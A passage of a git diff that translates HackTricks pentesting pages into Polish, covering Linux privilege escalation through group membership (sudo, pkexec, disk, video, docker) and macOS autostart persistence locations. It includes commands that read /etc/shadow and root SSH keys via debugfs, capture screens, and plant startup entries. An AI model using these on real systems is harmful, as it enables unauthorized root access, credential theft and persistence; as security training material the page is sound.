bash<<<$(base64 -d<<g` in a file @@ -334,34 +295,25 @@ ln /f* 'sh x' 'sh g' ``` +## Ominięcie Ochrony Tylko do Odczytu/Noexec/Distroless -## Read-Only/Noexec/Distroless Bypass - -If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:** +Jeśli znajdujesz się w systemie plików z **ochroną tylko do odczytu i noexec** lub nawet w kontenerze distroless, wciąż istnieją sposoby na **wykonanie dowolnych binarek, nawet powłoki!:** {{#ref}} ../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ {{#endref}} -## Chroot & other Jails Bypass +## Ominięcie Chroot i innych Więzień {{#ref}} ../privilege-escalation/escaping-from-limited-bash.md {{#endref}} -## References & More +## Odniesienia i Więcej - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) - [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md index c4bec532f..f99e5b4de 100644 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ b/src/linux-unix/privilege-escalation/exploiting-yum.md @@ -1,25 +1,23 @@ {{#include ../../banners/hacktricks-training.md}} -Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/). +Dalsze przykłady dotyczące yum można znaleźć na [gtfobins](https://gtfobins.github.io/gtfobins/yum/). -# Executing arbitrary commands via RPM Packages +# Wykonywanie dowolnych poleceń za pomocą pakietów RPM -## Checking the Environment +## Sprawdzanie środowiska -In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root. +Aby wykorzystać ten wektor, użytkownik musi mieć możliwość wykonywania poleceń yum jako użytkownik o wyższych uprawnieniach, tzn. root. -### A working example of this vector +### Działający przykład tego wektora -A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com). +Działający przykład tego exploit można znaleźć w pokoju [daily bugle](https://tryhackme.com/room/dailybugle) na [tryhackme](https://tryhackme.com). -## Packing an RPM +## Pakowanie RPM -In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm). - -The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary. +W poniższej sekcji omówię pakowanie odwrotnego powłoki do RPM za pomocą [fpm](https://github.com/jordansissel/fpm). +Poniższy przykład tworzy pakiet, który zawiera wyzwalacz przed instalacją z dowolnym skryptem, który może być zdefiniowany przez atakującego. Po zainstalowaniu ten pakiet wykona dowolne polecenie. Użyłem prostego przykładu odwrotnej powłoki netcat do demonstracji, ale można to zmienić w razie potrzeby. ```text ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index e790cd37d..a920f51d2 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,18 +1,11 @@ {{#include ../../banners/hacktricks-training.md}} -
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +# Grupy Sudo/Admin -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} - -# Sudo/Admin Groups - -## **PE - Method 1** - -**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines: +## **PE - Metoda 1** +**Czasami**, **domyślnie \(lub ponieważ niektóre oprogramowanie tego potrzebuje\)** w pliku **/etc/sudoers** możesz znaleźć niektóre z tych linii: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -20,48 +13,35 @@ Get Access Today: # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +To oznacza, że **każdy użytkownik, który należy do grupy sudo lub admin, może wykonywać cokolwiek jako sudo**. -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Jeśli tak jest, aby **stać się rootem, wystarczy wykonać**: ```text sudo su ``` +## PE - Metoda 2 -## PE - Method 2 - -Find all suid binaries and check if there is the binary **Pkexec**: - +Znajdź wszystkie binarki suid i sprawdź, czy istnieje binarka **Pkexec**: ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec. -Check the contents of: - +Jeśli stwierdzisz, że binarny plik pkexec jest binarnym plikiem SUID i należysz do grupy sudo lub admin, prawdopodobnie będziesz mógł wykonywać binaria jako sudo za pomocą pkexec. Sprawdź zawartość: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +Tam znajdziesz, które grupy mają prawo do wykonywania **pkexec** i **domyślnie** w niektórych systemach linux mogą **pojawić się** niektóre grupy **sudo lub admin**. -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**. - -To **become root you can execute**: - +Aby **stać się rootem, możesz wykonać**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +Jeśli spróbujesz wykonać **pkexec** i otrzymasz ten **błąd**: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: - +**To nie dlatego, że nie masz uprawnień, ale dlatego, że nie jesteś połączony bez GUI**. I jest obejście tego problemu tutaj: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Potrzebujesz **2 różnych sesji ssh**: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -72,39 +52,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` +# Grupa Wheel -# Wheel Group - -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: - +**Czasami**, **domyślnie** w pliku **/etc/sudoers** możesz znaleźć tę linię: ```text %wheel ALL=(ALL:ALL) ALL ``` +To oznacza, że **każdy użytkownik, który należy do grupy wheel, może wykonywać cokolwiek jako sudo**. -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Jeśli tak jest, aby **stać się rootem, wystarczy wykonać**: ```text sudo su ``` - # Shadow Group -Users from the **group shadow** can **read** the **/etc/shadow** file: - +Użytkownicy z **grupy shadow** mogą **czytać** plik **/etc/shadow**: ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +Więc przeczytaj plik i spróbuj **złamać niektóre hashe**. -So, read the file and try to **crack some hashes**. +# Grupa dysków -# Disk Group - -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. - -Files:`/dev/sd[a-z][1-9]` +To uprawnienie jest prawie **równoważne z dostępem root** ponieważ możesz uzyskać dostęp do wszystkich danych wewnątrz maszyny. +Pliki: `/dev/sd[a-z][1-9]` ```text debugfs /dev/sda1 debugfs: cd /root @@ -112,70 +84,55 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +Zauważ, że używając debugfs możesz również **zapisywać pliki**. Na przykład, aby skopiować `/tmp/asd1.txt` do `/tmp/asd2.txt`, możesz to zrobić: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` +Jednak jeśli spróbujesz **zapisać pliki należące do roota** \(jak `/etc/shadow` lub `/etc/passwd`\) otrzymasz błąd "**Permission denied**". -However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error. - -# Video Group - -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: +# Grupa wideo +Używając polecenia `w`, możesz znaleźć **kto jest zalogowany w systemie** i zobaczysz wynik podobny do poniższego: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +**tty1** oznacza, że użytkownik **yossi jest fizycznie zalogowany** do terminala na maszynie. -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +Grupa **video** ma dostęp do wyświetlania danych wyjściowych ekranu. W zasadzie możesz obserwować ekrany. Aby to zrobić, musisz **złapać bieżący obraz na ekranie** w surowych danych i uzyskać rozdzielczość, którą używa ekran. Dane ekranu można zapisać w `/dev/fb0`, a rozdzielczość tego ekranu można znaleźć w `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**: +Aby **otworzyć** **surowy obraz**, możesz użyć **GIMP**, wybrać plik **`screen.raw`** i jako typ pliku wybrać **Dane surowego obrazu**: ![](../../images/image%20%28208%29.png) -Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\): +Następnie zmodyfikuj Szerokość i Wysokość na te używane na ekranie i sprawdź różne Typy obrazów \(i wybierz ten, który najlepiej pokazuje ekran\): ![](../../images/image%20%28295%29.png) -# Root Group +# Grupa Root -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +Wygląda na to, że domyślnie **członkowie grupy root** mogą mieć dostęp do **modyfikacji** niektórych plików konfiguracyjnych **usług** lub niektórych plików **bibliotek** lub **innych interesujących rzeczy**, które mogą być użyte do eskalacji uprawnień... +**Sprawdź, które pliki członkowie root mogą modyfikować**: ```bash find / -group root -perm -g=w 2>/dev/null ``` +# Grupa Docker -# Docker Group - -You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. +Możesz zamontować system plików root maszyny hosta do woluminu instancji, więc gdy instancja się uruchamia, natychmiast ładuje `chroot` do tego woluminu. To skutecznie daje ci uprawnienia root na maszynie. {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -# lxc/lxd Group +# Grupa lxc/lxd -[lxc - Privilege Escalation](lxd-privilege-escalation.md) +[lxc - Podwyższenie uprawnień](lxd-privilege-escalation.md) -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index 5bfd0ae9a..c4f6d36f3 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -2,241 +2,228 @@ {{#include ../banners/hacktricks-training.md}} -This section is heavily based on the blog series [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), the goal is to add **more Autostart Locations** (if possible), indicate **which techniques are still working** nowadays with latest version of macOS (13.4) and to specify the **permissions** needed. +Ta sekcja jest w dużej mierze oparta na serii blogów [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), celem jest dodanie **więcej lokalizacji autostartu** (jeśli to możliwe), wskazanie **które techniki nadal działają** w dzisiejszych czasach z najnowszą wersją macOS (13.4) oraz określenie **wymaganych uprawnień**. ## Sandbox Bypass > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **waiting** for a very **common** **action**, a determined **amount of time** or an **action you can usually perform** from inside a sandbox without needing root permissions. +> Tutaj możesz znaleźć lokalizacje startowe przydatne do **sandbox bypass**, które pozwalają na proste wykonanie czegoś poprzez **zapisanie tego do pliku** i **czekanie** na bardzo **powszechną** **akcję**, określoną **ilość czasu** lub **akcję, którą zazwyczaj możesz wykonać** z wnętrza sandboxa bez potrzeby posiadania uprawnień roota. ### Launchd -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC Bypass: [🔴](https://emojipedia.org/large-red-circle) +- Przydatne do obejścia sandboxa: [✅](https://emojipedia.org/check-mark-button) +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Locations +#### Lokalizacje - **`/Library/LaunchAgents`** - - **Trigger**: Reboot - - Root required +- **Wyzwalacz**: Restart +- Wymagany root - **`/Library/LaunchDaemons`** - - **Trigger**: Reboot - - Root required +- **Wyzwalacz**: Restart +- Wymagany root - **`/System/Library/LaunchAgents`** - - **Trigger**: Reboot - - Root required +- **Wyzwalacz**: Restart +- Wymagany root - **`/System/Library/LaunchDaemons`** - - **Trigger**: Reboot - - Root required +- **Wyzwalacz**: Restart +- Wymagany root - **`~/Library/LaunchAgents`** - - **Trigger**: Relog-in +- **Wyzwalacz**: Ponowne logowanie - **`~/Library/LaunchDemons`** - - **Trigger**: Relog-in +- **Wyzwalacz**: Ponowne logowanie > [!TIP] -> As interesting fact, **`launchd`** has an embedded property list in a the Mach-o section `__Text.__config` which contains other well known services launchd must start. Moreover, these services can contain the `RequireSuccess`, `RequireRun` and `RebootOnSuccess` that means that they must be run and complete successfully. +> Jako ciekawostka, **`launchd`** ma wbudowaną listę właściwości w sekcji Mach-o `__Text.__config`, która zawiera inne znane usługi, które launchd musi uruchomić. Ponadto, te usługi mogą zawierać `RequireSuccess`, `RequireRun` i `RebootOnSuccess`, co oznacza, że muszą być uruchomione i zakończone pomyślnie. > -> Ofc, It cannot be modified because of code signing. +> Oczywiście, nie można ich modyfikować z powodu podpisywania kodu. -#### Description & Exploitation +#### Opis i Eksploatacja -**`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute** the configurations indicated in the **ASEP** **plists** in: +**`launchd`** jest **pierwszym** **procesem** wykonywanym przez jądro OX S podczas uruchamiania i ostatnim, który kończy działanie podczas zamykania. Zawsze powinien mieć **PID 1**. Ten proces **odczyta i wykona** konfiguracje wskazane w **ASEP** **plistach** w: -- `/Library/LaunchAgents`: Per-user agents installed by the admin -- `/Library/LaunchDaemons`: System-wide daemons installed by the admin -- `/System/Library/LaunchAgents`: Per-user agents provided by Apple. -- `/System/Library/LaunchDaemons`: System-wide daemons provided by Apple. +- `/Library/LaunchAgents`: Agenci per użytkownik zainstalowani przez administratora +- `/Library/LaunchDaemons`: Demony systemowe zainstalowane przez administratora +- `/System/Library/LaunchAgents`: Agenci per użytkownik dostarczani przez Apple. +- `/System/Library/LaunchDaemons`: Demony systemowe dostarczane przez Apple. -When a user logs in the plists located in `/Users/$USER/Library/LaunchAgents` and `/Users/$USER/Library/LaunchDemons` are started with the **logged users permissions**. - -The **main difference between agents and daemons is that agents are loaded when the user logs in and the daemons are loaded at system startup** (as there are services like ssh that needs to be executed before any user access the system). Also agents may use GUI while daemons need to run in the background. +Gdy użytkownik loguje się, plisty znajdujące się w `/Users/$USER/Library/LaunchAgents` i `/Users/$USER/Library/LaunchDemons` są uruchamiane z **uprawnieniami zalogowanego użytkownika**. +**Główna różnica między agentami a demonami polega na tym, że agenci są ładowani, gdy użytkownik się loguje, a demony są ładowane podczas uruchamiania systemu** (ponieważ są usługi takie jak ssh, które muszą być uruchomione przed tym, jak jakikolwiek użytkownik uzyska dostęp do systemu). Agenci mogą również korzystać z GUI, podczas gdy demony muszą działać w tle. ```xml - Label - com.apple.someidentifier - ProgramArguments - - bash -c 'touch /tmp/launched' - - RunAtLoad - StartInterval - 800 - KeepAlive - - SuccessfulExit - - +Label +com.apple.someidentifier +ProgramArguments + +bash -c 'touch /tmp/launched' + +RunAtLoad +StartInterval +800 +KeepAlive + +SuccessfulExit + + ``` - -There are cases where an **agent needs to be executed before the user logins**, these are called **PreLoginAgents**. For example, this is useful to provide assistive technology at login. They can be found also in `/Library/LaunchAgents`(see [**here**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) an example). +Są przypadki, w których **agent musi być uruchomiony przed zalogowaniem się użytkownika**, nazywane są **PreLoginAgents**. Na przykład, jest to przydatne do zapewnienia technologii wspomagającej podczas logowania. Można je również znaleźć w `/Library/LaunchAgents` (zobacz [**tutaj**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) przykład). > [!NOTE] -> New Daemons or Agents config files will be **loaded after next reboot or using** `launchctl load ` It's **also possible to load .plist files without that extension** with `launchctl -F ` (however those plist files won't be automatically loaded after reboot).\ -> It's also possible to **unload** with `launchctl unload ` (the process pointed by it will be terminated), +> Nowe pliki konfiguracyjne Daemonów lub Agentów będą **ładowane po następnym uruchomieniu lub przy użyciu** `launchctl load ` Można **również załadować pliki .plist bez tego rozszerzenia** za pomocą `launchctl -F ` (jednak te pliki plist nie będą automatycznie ładowane po uruchomieniu).\ +> Można również **odłączyć** za pomocą `launchctl unload ` (proces wskazany przez niego zostanie zakończony), > -> To **ensure** that there isn't **anything** (like an override) **preventing** an **Agent** or **Daemon** **from** **running** run: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` - -List all the agents and daemons loaded by the current user: +> Aby **upewnić się**, że nie ma **niczego** (jak nadpisanie) **zapobiegającego** **uruchomieniu** **Agenta** lub **Daemona**, uruchom: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` +Wypisz wszystkie agenty i demony załadowane przez bieżącego użytkownika: ```bash launchctl list ``` - > [!WARNING] -> If a plist is owned by a user, even if it's in a daemon system wide folders, the **task will be executed as the user** and not as root. This can prevent some privilege escalation attacks. +> Jeśli plist jest własnością użytkownika, nawet jeśli znajduje się w systemowych folderach demona, **zadanie zostanie wykonane jako użytkownik** a nie jako root. Może to zapobiec niektórym atakom eskalacji uprawnień. -#### More info about launchd +#### Więcej informacji o launchd -**`launchd`** is the **first** user mode process which is started from the **kernel**. The process start must be **successful** and it **cannot exit or crash**. It's even **protected** against some **killing signals**. +**`launchd`** jest **pierwszym** procesem w trybie użytkownika, który jest uruchamiany z **jądra**. Uruchomienie procesu musi być **udane** i **nie może zakończyć się błędem ani awarią**. Jest nawet **chronione** przed niektórymi **sygnałami zabicia**. -One of the first things `launchd` would do is to **start** all the **daemons** like: +Jedną z pierwszych rzeczy, które `launchd` zrobi, jest **uruchomienie** wszystkich **demonów**, takich jak: -- **Timer daemons** based on time to be executed: - - atd (`com.apple.atrun.plist`): Has a `StartInterval` of 30min - - crond (`com.apple.systemstats.daily.plist`): Has `StartCalendarInterval` to start at 00:15 -- **Network daemons** like: - - `org.cups.cups-lpd`: Listens in TCP (`SockType: stream`) with `SockServiceName: printer` - - SockServiceName must be either a port or a service from `/etc/services` - - `com.apple.xscertd.plist`: Listens on TCP in port 1640 -- **Path daemons** that are executed when a specified path changes: - - `com.apple.postfix.master`: Checking the path `/etc/postfix/aliases` -- **IOKit notifications daemons**: - - `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` -- **Mach port:** - - `com.apple.xscertd-helper.plist`: It's indicating in the `MachServices` entry the name `com.apple.xscertd.helper` +- **Demony czasowe** oparte na czasie do wykonania: +- atd (`com.apple.atrun.plist`): Ma `StartInterval` wynoszący 30 minut +- crond (`com.apple.systemstats.daily.plist`): Ma `StartCalendarInterval`, aby uruchomić o 00:15 +- **Demony sieciowe** takie jak: +- `org.cups.cups-lpd`: Nasłuchuje w TCP (`SockType: stream`) z `SockServiceName: printer` +- SockServiceName musi być portem lub usługą z `/etc/services` +- `com.apple.xscertd.plist`: Nasłuchuje na TCP na porcie 1640 +- **Demony ścieżkowe**, które są uruchamiane, gdy zmienia się określona ścieżka: +- `com.apple.postfix.master`: Sprawdza ścieżkę `/etc/postfix/aliases` +- **Demony powiadomień IOKit**: +- `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` +- **Port Mach:** +- `com.apple.xscertd-helper.plist`: Wskazuje w wpisie `MachServices` nazwę `com.apple.xscertd.helper` - **UserEventAgent:** - - This is different from the previous one. It makes launchd spawn apps in response to specific event. However, in this case, the main binary involved isn't `launchd` but `/usr/libexec/UserEventAgent`. It loads plugins from the SIP restricted folder /System/Library/UserEventPlugins/ where each plugin indicates its initialiser in the `XPCEventModuleInitializer` key or. in the case of older plugins, in the `CFPluginFactories` dict under the key `FB86416D-6164-2070-726F-70735C216EC0` of its `Info.plist`. +- To różni się od poprzedniego. Sprawia, że launchd uruchamia aplikacje w odpowiedzi na określone zdarzenie. Jednak w tym przypadku główny binarny plik zaangażowany to nie `launchd`, ale `/usr/libexec/UserEventAgent`. Ładuje wtyczki z folderu ograniczonego przez SIP /System/Library/UserEventPlugins/, gdzie każda wtyczka wskazuje swój inicjalizator w kluczu `XPCEventModuleInitializer` lub, w przypadku starszych wtyczek, w słowniku `CFPluginFactories` pod kluczem `FB86416D-6164-2070-726F-70735C216EC0` w swoim `Info.plist`. -### shell startup files +### pliki startowe powłoki Writeup: [https://theevilbit.github.io/beyond/beyond_0001/](https://theevilbit.github.io/beyond/beyond_0001/)\ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC Bypass: [✅](https://emojipedia.org/check-mark-button) - - But you need to find an app with a TCC bypass that executes a shell that loads these files +- Przydatne do obejścia piaskownicy: [✅](https://emojipedia.org/check-mark-button) +- Obejście TCC: [✅](https://emojipedia.org/check-mark-button) +- Ale musisz znaleźć aplikację z obejściem TCC, która uruchamia powłokę ładującą te pliki -#### Locations +#### Lokalizacje - **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`** - - **Trigger**: Open a terminal with zsh +- **Wyzwalacz**: Otwórz terminal z zsh - **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** - - **Trigger**: Open a terminal with zsh - - Root required +- **Wyzwalacz**: Otwórz terminal z zsh +- Wymagany root - **`~/.zlogout`** - - **Trigger**: Exit a terminal with zsh +- **Wyzwalacz**: Wyjdź z terminala z zsh - **`/etc/zlogout`** - - **Trigger**: Exit a terminal with zsh - - Root required -- Potentially more in: **`man zsh`** +- **Wyzwalacz**: Wyjdź z terminala z zsh +- Wymagany root +- Potencjalnie więcej w: **`man zsh`** - **`~/.bashrc`** - - **Trigger**: Open a terminal with bash -- `/etc/profile` (didn't work) -- `~/.profile` (didn't work) +- **Wyzwalacz**: Otwórz terminal z bash +- `/etc/profile` (nie działało) +- `~/.profile` (nie działało) - `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` - - **Trigger**: Expected to trigger with xterm, but it **isn't installed** and even after installed this error is thrown: xterm: `DISPLAY is not set` +- **Wyzwalacz**: Oczekiwano, że wyzwoli się z xterm, ale **nie jest zainstalowany** i nawet po zainstalowaniu pojawia się ten błąd: xterm: `DISPLAY is not set` -#### Description & Exploitation +#### Opis i wykorzystanie -When initiating a shell environment such as `zsh` or `bash`, **certain startup files are run**. macOS currently uses `/bin/zsh` as the default shell. This shell is automatically accessed when the Terminal application is launched or when a device is accessed via SSH. While `bash` and `sh` are also present in macOS, they need to be explicitly invoked to be used. - -The man page of zsh, which we can read with **`man zsh`** has a long description of the startup files. +Podczas inicjowania środowiska powłoki, takiego jak `zsh` lub `bash`, **uruchamiane są określone pliki startowe**. macOS obecnie używa `/bin/zsh` jako domyślnej powłoki. Ta powłoka jest automatycznie dostępna, gdy aplikacja Terminal jest uruchamiana lub gdy urządzenie jest dostępne przez SSH. Chociaż `bash` i `sh` są również obecne w macOS, muszą być wyraźnie wywołane, aby mogły być używane. +Strona podręczna zsh, którą możemy przeczytać za pomocą **`man zsh`**, zawiera długi opis plików startowych. ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc ``` +### Ponownie otwarte aplikacje -### Re-opened Applications +> [!OSTRZEŻENIE] +> Konfigurowanie wskazanej eksploatacji oraz wylogowywanie i logowywanie lub nawet ponowne uruchamianie nie działało dla mnie, aby uruchomić aplikację. (Aplikacja nie była uruchamiana, być może musi być uruchomiona, gdy te działania są wykonywane) -> [!CAUTION] -> Configuring the indicated exploitation and loging-out and loging-in or even rebooting didn't work for me to execute the app. (The app wasn't being executed, maybe it needs to be running when these actions are performed) +**Opis**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) +- Przydatne do obejścia piaskownicy: [✅](https://emojipedia.org/check-mark-button) +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) - -#### Location +#### Lokalizacja - **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** - - **Trigger**: Restart reopening applications +- **Wyzwalacz**: Ponowne uruchomienie otwierania aplikacji -#### Description & Exploitation +#### Opis i eksploatacja -All the applications to reopen are inside the plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` +Wszystkie aplikacje do ponownego otwarcia znajdują się w pliku plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` -So, make the reopen applications launch your own one, you just need to **add your app to the list**. +Aby sprawić, by ponownie otwierane aplikacje uruchamiały twoją, wystarczy **dodać swoją aplikację do listy**. -The UUID can be found listing that directory or with `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` - -To check the applications that will be reopened you can do: +UUID można znaleźć, wylistowując ten katalog lub używając `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` +Aby sprawdzić aplikacje, które będą ponownie otwierane, możesz to zrobić: ```bash defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin #or plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` - -To **add an application to this list** you can use: - +Aby **dodać aplikację do tej listy** możesz użyć: ```bash # Adding iTerm2 /usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \ - -c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ - -c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ - -c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ - -c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ - ~/Library/Preferences/ByHost/com.apple.loginwindow..plist +-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ +-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ +-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ +-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ +~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` +### Preferencje Terminala -### Terminal Preferences +- Przydatne do obejścia sandbox: [✅](https://emojipedia.org/check-mark-button) +- Obejście TCC: [✅](https://emojipedia.org/check-mark-button) +- Terminal używa uprawnień FDA użytkownika, który go używa -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - Terminal use to have FDA permissions of the user use it - -#### Location +#### Lokalizacja - **`~/Library/Preferences/com.apple.Terminal.plist`** - - **Trigger**: Open Terminal +- **Wyzwalacz**: Otwórz Terminal -#### Description & Exploitation +#### Opis i Wykorzystanie -In **`~/Library/Preferences`** are store the preferences of the user in the Applications. Some of these preferences can hold a configuration to **execute other applications/scripts**. +W 